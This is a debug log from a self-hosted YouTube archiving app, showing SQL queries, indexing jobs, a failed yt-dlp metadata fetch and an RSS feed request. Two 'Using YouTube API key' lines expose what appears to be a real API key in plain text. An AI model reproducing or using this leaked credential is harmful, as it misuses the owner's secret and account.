FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [37, "3BLxx5GpPkQ", "xXW35OmG_2s", "gMMPAjnrsg8", "6k3MCvZcNf0", "kvfyuReITgE", "-T_TIqokEBM", "17qdDkP14Ao", "FPHOLeDqI9o", "-s86EG5s4to", "7ymHZ4ad1zg", "IgrA6UWGE_w", "tA9FzgkzauM", "aqMJUkmPHUw", "cSOvVHmIwUE", "dChU-mIqI0s", "Oka7yNGFBOA", "fH_aZFRA5nQ", "J8NEUFlSRhM", "znzyBp8ruMM", "sRkxPi6IOY8", "MYX7D4TPO-I", "7oIIzbP9mLA", "zuBnPJLV8Zs", "96THecfcRbE", "9fkqORqi1wA", "bCkQhwnTpRI", "ZHt7xfhPsPg", "ZYGsrtIqxLA", "u6hjDgVUeTM", "X9cKnBwcpPE", "A0PL0Q5_AhQ", "7HAodxxPnvg", "LOc26tUJziM", "GTsYWE1QSbA", "tE4_YArfkNM", "PJgHERObbLA", "8T-uZpYUv-s", "n13CZ1XVNJI", "7O_jgUrMUs4", "E-79e3z4q1o", "xCiLvge4XXQ", "EB-HgHFEqeg", "wbbAhhj23Bo", "HjKVJeWks5o", "0m183T8j9wc", "3bUgF8AAGRU", "HaSaDehz2lc", "1n9vqO6R734", "7L-_Jzfzj-Y", ...] 17:20:04.141 [debug] QUERY OK source="settings" db=0.0ms idle=122.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:04.141 [debug] QUERY OK source="settings" db=0.0ms idle=122.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:04.141 [debug] Running yt-dlp command for action: get_media_attributes 17:20:04.141 [debug] QUERY OK source="settings" db=0.0ms idle=122.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:04.141 [debug] QUERY OK source="settings" db=0.0ms idle=122.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:04.141 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:04.141 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/99/19/9919d649d087fa09b0487f09fca9b7d4215515452bbaedb9b0cc916520ec3d8e.json --sleep-requests 72 --sleep-interval 81 --sleep-subtitles 90 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:20:11.025 [info] {"args":{"id":12},"id":5268409,"meta":{},"system_time":1791584411025179811,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:20:11.025 [debug] QUERY OK source="sources" db=0.2ms idle=1678.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:20:11.025 [debug] QUERY OK source="settings" db=0.1ms idle=1678.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:11.026 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:11.026 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:11.026 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:20:11.026 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:11.026 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:20:11.227 [debug] QUERY OK source="media_items" db=0.5ms idle=201.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "1MNtfa4Vz3A", "SMPOq2HLKUA", "J0Jqwz1TYWY", "pWDda2xpEMs", "T7iG4HQX1k0", "y5HI3H-HonQ", "BDp3y1ESUgs", "tQXkGF1aj6g", "Dr8H7Mk0mlQ", "r8fCHfCYDM8", "zNFfKizSREg", "wynxywGRI4s", "wJruCJeJfhs", "65-gDU6-KDk", "ESky67qiImY", "YH1c3ui1YSw", "JCDjCkqhVsY", "yD5jWchlMJU", "AvdTb-b0K1Y", "r_GPHfEGYs8", "asbD9Y76skM", "tPava4N8yTA", "zDjFEJc_Wko", "lKt1uRckoK0", "X_VZkrKSxuE", "ub4JMolyisQ", "yRqmozs41jw", "EUkZGw-Ogtw", "FcaiBjj8sFU", "wzDc7xge5YI", "DRIN_5Cyfdw", "8148SmsqtPM", "4Xv2V0Ci-lM", "qHEh5yYRVpg", "Ipkp8QTQWAo", "tpdd_YDkHHM", "u4f2nkXMrfo", "pNfgQ-KqHR4", "T_u143DsQMA", "UwXJe1PjsxQ", "Yc0D5TR3fc0", "-t6uMUCLPrE", "AtOWpZbW7TY", "D46EY7Jk95E", "ZouMQaeHss4", "BYlKyhWoaak", "GQyCEfs1Uvo", "FfStumRlass", "KhM0q0vsitA", ...] 17:20:11.228 [debug] QUERY OK source="media_items" db=0.5ms idle=202.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:20:11.229 [debug] QUERY OK source="tasks" db=0.1ms idle=202.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268448, 12, ~U[2026-10-09 22:20:11Z], ~U[2026-10-09 22:20:11Z]] 17:20:11.229 [info] {"args":{"id":12},"id":5268409,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":204162,"event":"job:stop","queue_time":390203,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:20:12.026 [info] {"args":{"id":41},"id":5268410,"meta":{},"system_time":1791584412026137847,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:20:12.026 [debug] QUERY OK source="sources" db=0.4ms idle=796.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:20:12.027 [debug] QUERY OK source="settings" db=0.1ms idle=797.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:12.027 [debug] QUERY OK source="media_profiles" db=0.1ms idle=791.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:12.027 [debug] QUERY OK source="settings" db=0.1ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:12.027 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:20:12.027 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:12.027 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:20:12.210 [debug] QUERY OK source="media_items" db=0.7ms idle=183.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "JzQIZDkMcGs", "FQmnCsKHeG4", "mDxWgesjlhk", "FYehYs0_1KY", "s_zRjrdFDSc", "RRrz6zuf6Ms", "WxhkLxoNKyM", "N2v0F3yDQqs", "vI34WDt4FIs", "2soMwflGs20", "8BnHbb9-pGQ", "A4jElvPYtBA", "dpy_KlWECoQ", "Lg__qeD2DME", "58B0tLPJCks", "ANs2vOmL5Ds", "yg5DTXQFo0A", "hfp0UFJYSa0", "NT5RQQvxt-Q", "i2Yucp8hNkQ", "KHmMhUnn9LA", "u1RphBMOI7I", "bpGWAQAXSgw", "8jitxV6EzIw", "CKeWRRzBzYM", "48OxK622Acw", "KP1yTKNgcGs", "szB93HcgTwA", "5MRtnqJZXMQ", "vvnXGva7F7s", "cowwaMFuCxI", "hDLWxg2jZuw", "Ugfy9IbfNJ4", "9yYf6Q1Ay9Y", "_oICJSV5GIk", "M4NaZ8oCVuA", "19X5MGLYsEc", "XEAA5G7Pg_k", "vK_30G0UBE8", "cMvgKmq5W0k", "-BhNFwmmO2w", "idQMPGx0dak", "I70OKWI0bdw", "98pFoaJbgpg", "MEUsYtWp1jU", "9i8mDxZqGq8", "cW-9xdvTrLU", "0-9BasVcJmQ", "hOKH5x9wbEY", ...] 17:20:12.212 [debug] QUERY OK source="media_items" db=0.8ms idle=184.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:20:12.212 [debug] QUERY OK source="tasks" db=0.1ms idle=185.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268449, 41, ~U[2026-10-09 22:20:12Z], ~U[2026-10-09 22:20:12Z]] 17:20:12.213 [info] {"args":{"id":41},"id":5268410,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":186877,"event":"job:stop","queue_time":373864,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:20:15.849 [info] {"source":"oban","duration":10211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":9} 17:20:45.859 [info] {"source":"oban","duration":9989,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:00.447 [info] {"source":"oban","duration":153,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:21:15.867 [info] {"source":"oban","duration":6987,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:21:17.811 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kvfyuReITgE --simulate --skip-download --output /downloads/NinjaOne/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/99/19/9919d649d087fa09b0487f09fca9b7d4215515452bbaedb9b0cc916520ec3d8e.json --sleep-requests 72 --sleep-interval 81 --sleep-subtitles 90 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days. 17:21:17.811 [error] Error creating media item 'kvfyuReITgE' from URL: {:error, "ERROR: [youtube] kvfyuReITgE: This live event will begin in 12 days.\n", 1} 17:21:17.812 [debug] QUERY OK source="media_items" db=1.3ms idle=724.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [37] 17:21:17.814 [debug] QUERY OK source="tasks" db=0.6ms idle=466.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268450, 37, ~U[2026-10-09 22:21:17Z], ~U[2026-10-09 22:21:17Z]] 17:21:17.814 [info] {"args":{"id":37},"id":5268408,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":73796137,"event":"job:stop","queue_time":77531,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:21:45.879 [info] {"source":"oban","duration":10316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":2} 17:22:00.447 [info] {"source":"oban","duration":155,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:22:15.889 [info] {"source":"oban","duration":9764,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:22:45.899 [info] {"source":"oban","duration":9718,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:00.448 [info] {"source":"oban","duration":161,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:23:15.909 [info] {"source":"oban","duration":9951,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:23:36.766 [info] GET /sources/0b8c5a68-eaa8-4db2-b749-872960925d8a/feed.xml 17:23:36.766 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "0b8c5a68-eaa8-4db2-b749-872960925d8a"} Pipelines: [:maybe_basic_auth] 17:23:36.767 [debug] QUERY OK source="sources" db=0.1ms idle=1420.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["0b8c5a68-eaa8-4db2-b749-872960925d8a"] 17:23:36.769 [debug] QUERY OK source="media_items" db=2.3ms idle=1420.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [47, 2000] 17:23:36.782 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1435.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [47] 17:23:36.810 [debug] QUERY OK source="media_metadata" db=27.7ms idle=1435.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1574975] 17:23:36.810 [info] Sent 200 in 43ms 17:23:45.918 [info] {"source":"oban","duration":7536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:24:00.449 [info] {"source":"oban","duration":106,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:24:15.929 [info] {"source":"oban","duration":10336,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:24:45.939 [info] {"source":"oban","duration":9803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:25:00.450 [info] {"source":"oban","duration":130,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:25:15.949 [info] {"source":"oban","duration":10056,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:25:20.344 [info] {"args":{"id":42},"id":5268411,"meta":{},"system_time":1791584720344148918,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:25:20.344 [debug] QUERY OK source="sources" db=0.5ms idle=1007.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 17:25:20.345 [debug] QUERY OK source="settings" db=0.0ms idle=998.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:20.345 [debug] QUERY OK source="media_profiles" db=0.1ms idle=998.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:25:20.345 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:25:20.345 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 17:25:20.345 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 